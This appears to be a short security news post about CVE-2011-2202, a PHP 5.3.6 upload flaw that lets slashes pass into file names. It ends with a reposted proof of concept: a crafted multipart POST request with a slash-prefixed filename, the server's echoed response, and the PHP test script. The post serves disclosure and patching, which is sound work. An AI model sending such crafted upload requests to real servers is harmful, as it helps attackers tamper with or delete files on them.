devquotes,

PHP is prone to a security-bypass vulnerability.Successful exploits will allow an attacker to delete files from the root directory, which may aid in further attacks.
PHP 5.3.6 is vulnerable; other versions may also be affected.

Webmasters are advised to manually patch their PHP installations after a serious flaw allowing attackers to potentially delete files from their root directories was publicly disclosed.

The vulnerability lies in the « SAPI_POST_HANDLER_FUNC() » function in rfc1867.c and can be exploited to append forward or back slashes before the file name during an upload. This allows an attacker, for example, to delete files from the root directory or can be combined with other vulnerabilities to enhance attacks. The flaw is described as an input validation error and security bypass issue. Vulnerability research vendor Secunia rates it as « less critical. » A Polish web application developer named Krzysztof Kotowicz is credited with discovering and reporting the issue, but even though it was patched on June 12, details about the flaw have been available online since May 27.

The vulnerability, identified as CVE-2011-2202, affects PHP 5.3.6 and earlier versions. No new package has been released yet, but a patch can be grabbed from the repository and applied manually. The vulnerability  does not require authentication, and has a partial impact on system integrity. System confidentiality  are affected too.

It’s still unclear whether its access complexity should be low, as listed in an IBM XSS Force advisory, or high, as considered by the Red Hat security team.

Exploit found on pastebin.com

HTTP Request:
====
POST /file-upload-fuzz/recv_dump.php HTTP/1.0
host: blog.security.localhost
content-type: multipart/form-data; boundary=———-ThIs_Is_tHe_bouNdaRY_$
content-length: 200

————ThIs_Is_tHe_bouNdaRY_$
Content-Disposition: form-data; name= »contents »; filename= »/anything.here.slash-will-pass »;
Content-Type: text/plain

any
————ThIs_Is_tHe_bouNdaRY_$–

HTTP Response:
====
HTTP/1.1 200 OK
Date: Fri, 27 May 2011 11:35:08 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-Length: 30
Connection: close
Content-Type: text/html

/anything.here.slash-will-pass

PHP script:
=====
if (!empty($_FILES['contents'])) { // process file upload
echo $_FILES['contents']['name'];
unlink($_FILES['contents']['tmp_name']);
}